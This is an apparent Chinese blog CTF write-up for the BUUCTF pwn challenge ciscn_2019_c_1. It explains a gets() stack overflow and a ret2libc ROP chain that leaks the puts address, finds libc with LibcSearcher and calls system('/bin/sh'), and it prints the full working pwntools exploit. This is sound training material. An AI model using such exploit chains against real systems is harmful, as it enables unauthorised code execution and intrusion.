ciscn_2019_c_1[BUUCTF]

三板斧

拿到题先三板斧hecksec --file=ciscn_2019_c_1看保护开启了NX优先考虑ROP但是关闭了PIE则可能存在缓冲区溢出

IDA查看

发现gets函数存在溢出

查看堆栈窗口得到缓冲区大小 构造0x50+0x8即可溢出

但是程序中没有直接可以用的system函数所以需要我们自己构造ROP链通过gets函数泄露出libc基址构造payload来泄露libc

在amd64架构下参数通过rdi传递0x400c83就是我们需要pop_rdi的地址

获得/bin/sh地址

from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
p=process("./ciscn_2019_c_1")
p=remote('node5.buuoj.cn',29553)
enc_input_addr=0x00000000004009A0 
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']#获取put在plt地址
got=elf.got['puts']#获取put在got地址
main_addr = elf.symbols['main']
payload= b'a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_input_addr)
p.sendline(b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)#等待指定的字符串
p.recvlines(2)#接受两行数据
addr=u64(p.recv(6).ljust(0x8,b"\x00"))#接受数据0x填充
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")#返回libc基址
system_addr=libcbase+libc.dump("system") # system地址 = libc基址+system偏移
shellcode=libcbase+libc.dump("str_bin_sh")#得到/bin/sh地址
print(shellcode)

  得到   /bin/sh的地址  

继续构造payload

完整exp

from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
p=process("./ciscn_2019_c_1")
p=remote('node5.buuoj.cn',29553)
enc_input_addr=0x00000000004009A0 
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']#获取put在plt地址
got=elf.got['puts']#获取put在got地址
main_addr = elf.symbols['main']
payload= b'a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_input_addr)
p.sendline(b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)#等待指定的字符串
p.recvlines(2)#接受两行数据
addr=u64(p.recv(6).ljust(0x8,b"\x00"))#接受数据0x填充
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")#返回libc基址
system_addr=libcbase+libc.dump("system") # system地址 = libc基址+system偏移
shellcode=libcbase+libc.dump("str_bin_sh")#得到/bin/sh地址
print(shellcode)
ret=0x00000000004006b9
payload= b'a'*(0x50+0x8)+p64(ret)+p64(pop_rdi_ret)+p64(shellcode)+p64(system_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
p.interactive()

如果不行就换一个libc

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值